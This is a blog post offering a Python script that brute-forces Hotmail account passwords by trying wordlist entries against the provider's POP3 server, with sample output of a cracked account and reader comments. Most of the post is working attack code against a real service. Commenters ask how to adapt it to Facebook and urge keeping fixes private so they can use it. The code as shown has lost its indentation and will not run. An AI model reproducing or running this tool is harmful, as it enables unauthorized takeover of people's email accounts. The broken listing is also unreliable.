hotmailbf.py (hotmail account bruteforcer)
here hotmail acount bruteforcer for you…
#!/usr/bin/python
# -*- coding: utf-8 -*-
# Hotmail brute forcer
# programmer : gunslinger_
# Inspired by mywisdom
# This program is only for educational purposes only.
import sys, poplib, time
__Author__ = "Gunslinger_"
__Version__ = "1.0"
__Date__ = "Mon, 22 Feb 2010 13:13:43 +0700 "
log = "hotmailbrute.log"
file = open(log, "a")
counter = 0
face = '''
_ _ _ _ _ __
| |__ ___ | |_ _ __ ___ __ _(_) | | |__ / _|
| '_ \ / _ \| __| '_ ` _ \ / _` | | | | '_ \| |_
| | | | (_) | |_| | | | | | (_| | | | | |_) | _|
|_| |_|\___/ \__|_| |_| |_|\__,_|_|_| |_.__/|_|
Hotmail brute forcer
programmer : %s
version : %s
date release : %s
''' % (__Author__, __Version__, __Date__)
help = '''
Usage : ./hotmailbf.py -u [email] -w [wordlist]
Example : ./hotmailbf.py -u suckthedick@hotmail.com -w wordlist.txt
'''
for arg in sys.argv:
if arg.lower() == '-u' or arg.lower() == '--user':
email = sys.argv[int(sys.argv.index(arg))+1]
elif arg.lower() == '-w' or arg.lower() == '--wordlist':
wordlist = sys.argv[int(sys.argv[1:].index(arg))+2]
elif arg.lower() == '-h' or arg.lower() == '--help':
print face
print help
file.write(face)
file.write(help)
#Change these if needed.
HOST = 'pop3.live.com'
PORT = 995
try:
preventstrokes = open(wordlist, "r")
words = preventstrokes.readlines()
count = 0
while count < len(words):
words[count] = words[count].strip()
count += 1
except(IOError):
print "\n[-] Error: Check your wordlist path\n"
file.write("\n[-] Error: Check your wordlist path\n")
sys.exit(1)
def definer():
print "-" * 60
print "[+] Email : %s" % email
print "[+] Wordlist : %s" % wordlist
print "[+] Length wordlist : %s " % len(words)
print "[+] Time Starting : %s" % time.strftime("%X")
print "-" * 60
file.write ("\n[+] Email : %s" % email)
file.write ("\n[+] Wordlist : %s" % wordlist)
file.write ("\n[+] length wordlist : %s " % len(words))
file.write ("\n[+] Time Starting : %s" % time.strftime("%X"))
def main(password):
global counter
sys.stdout.write ("[-] Trying : %s \n" % (password))
sys.stdout.flush()
file.write("[-] Trying : %s \n" % (str(password)))
try:
pop = poplib.POP3_SSL(HOST, PORT)
pop.user(email)
pop.pass_(password)
pop.quit()
print "[+] W00t w00t !!!\n[+] Username : [%s]\n[+] Password : [%s]\n[+] Status : Valid!" % (email, password)
file.write("[+] W00t w00t !!!\n[+] Username : [%s]\n[+] Password : [%s]\n[+] Status : Valid!" % (email, password))
sys.exit(1)
except Exception, e:
pass
except KeyboardInterrupt:
print "\n[-] Aborting...\n"
file.write("\n[-] Aborting...\n")
sys.exit(1)
counter+=1
if counter == len(words)/5:
print "[+] Hotmailbruteforcer 20% way done..."
print "[+] Please be patient..."
file.write("[+] hotmailbruteforcer on 1/4 way done...\n")
file.write("[+] Please be patient...\n")
elif counter == len(words)/4:
print "[+] Hotmailbruteforcer 25% way done..."
print "[+] Please be patient..."
file.write("[+] hotmailbruteforcer on 1/4 way done...\n")
file.write("[+] Please be patient...\n")
elif counter == len(words)/2:
print "[+] Hotmailbruteforcer on 50% done..."
print "[+] Please be patient..."
file.write("[+] hotmailbruteforcer on halfway done...\n")
file.write("[+] Please be patient...\n")
elif counter == len(words):
print "[+] Hotmailbruteforcer done...\n"
file.write("[+] Hotmailbruteforcer done...!\n")
if __name__ == '__main__':
print face
file.write(face)
definer()
for password in words:
main(password.replace("\n",""))
main(password)
and this is example :
gunslinger@localhost:~/project/hotmail$ ./hotmailbf.py -u **CENSORED**@hotmail.com -w wordlist.txt _ _ _ _ _ __ | |__ ___ | |_ _ __ ___ __ _(_) | | |__ / _| | '_ \ / _ \| __| '_ ` _ \ / _` | | | | '_ \| |_ | | | | (_) | |_| | | | | | (_| | | | | |_) | _| |_| |_|\___/ \__|_| |_| |_|\__,_|_|_| |_.__/|_| Hotmail brute forcer programmer : Gunslinger_ ------------------------------------------------------------ [+] Email : **CENSORED**@hotmail.com [+] Wordlist : wordlist.txt [+] Length wordlist : 7 [+] Time Starting : 13:02:32 ------------------------------------------------------------ [-] Trying : dsnadsa [+] Hotmailbruteforcer 20% way done... [+] Please be patient... [-] Trying : dsadsa [-] Trying : fdsafds [+] Hotmailbruteforcer on 50% done... [+] Please be patient... [-] Trying : dsadsaf [-] Trying : fasfsa [-] Trying : dsadsad [-] Trying : **CENSORED** [+] W00t w00t !!! [+] Username : [**CENSORED**@hotmail.com] [+] Password : [**CENSORED**] [+] Status : Valid! gunslinger@localhost:~/project/hotmail$




Pingback: hotmailbf.py (hotmail account bruteforcer) « gunslinger_ blog | Drakz Free Online Service
hi
August 8, 2010 at 7:46 am
Emang udh di coba valid acc hotmail’y bro :-)
February 24, 2010 at 11:21 am
ok thank you bro… ;)
February 24, 2010 at 3:17 pm
Thanks bro for nice script. Lesson for me :)
GBU
February 26, 2010 at 11:46 am
you’re welcome bro…
February 28, 2010 at 3:29 pm
Pingback: Hotmail Brute force (hotmail dict attack by gunslinger) « mywisdom blog
Pingback: wisdomc0d3 Blog : » Un.LuCky b4st4r.d5 | Un.LuCky b4st4r.d5
aku jalankan kok muncul error gni
File “D:\Hacking\hotmail.py”, line 36
email = sys.argv[int(sys.argv.index(arg))+1]
^
IndentationError: expected an indented block
knpa tu
March 22, 2010 at 7:44 pm
mas aku udah coba scriptnya
tapi kok keluar code : file “.hotmailbf.py”‘ line 36
email = sys.argv[int(sys.argv.index(arg))+1]
^
IdentationError: expected an indented block
apa yah maksudnya
tks
March 22, 2010 at 8:27 pm
nice broo.. byk sintak yg g paham.. hehe..
July 21, 2010 at 2:28 pm
root@bt:~/pythonprojects# python hotmailbf.py
File “hotmailbf.py”, line 36
email = sys.argv[int(sys.argv.index(arg))+1]
^
IndentationError: expected an indented block
Hey, i got this error, could you tell me what i’m doing wrong, or what is wrong with the script? haha please!! ;)
August 14, 2010 at 1:02 am
root@bt:~/pythonprojects# ./hotmailbf.y -u user@email.com -w wordlist.txt
August 14, 2010 at 5:58 am
bro.. dari mana dapatnya tuh ‘pop3.live.com’ sama port nya ? saya mau coba buat tapi untuk situs lain misalnya facebook… saya udah bisa buat yang guest book spammer buat site lain..
September 8, 2010 at 5:18 am
tergantung mailhostnya pake apa ? pop3 atau imap ?
biasanya sudah di kasih MX buat atur emailnya
September 9, 2010 at 5:10 am
okeee i got it.. time to learn…
September 10, 2010 at 11:09 pm
how to do…i’m new here
November 5, 2010 at 6:06 pm
ola amigo como eu compilo o script está dando erro pode me ajudar por favor?
April 18, 2011 at 1:00 pm
It isn’t fully functional because there are various indentation and syntax errors, however I managed to correct 3 types of errors, there were several lines that didn’t work ( because mostly of common errors between one line and another) and at this point very few lines have remained that are uncorrected syntactically. I am about I believe to correct them aswell, I don’t know though if after that any other problems will persist. I imagine why the code you wrote could have incidental errors, however after correcting things does it work at all? Can you please PM on that or write here, whatever you prefer. The example you showed, is it real after all, have you tested your code? PM me in the mail provided if you could do so, thanks in advance.
Do a little clever search guys on how to correct each error, I don’t have any knowledge on python but I managed to correct almost all the .py file I created. Do NOT distribute this, EVER, it will get worse for us, better to remain like that and unfixed, we won’t be able to use it otherwise.
January 15, 2012 at 3:50 pm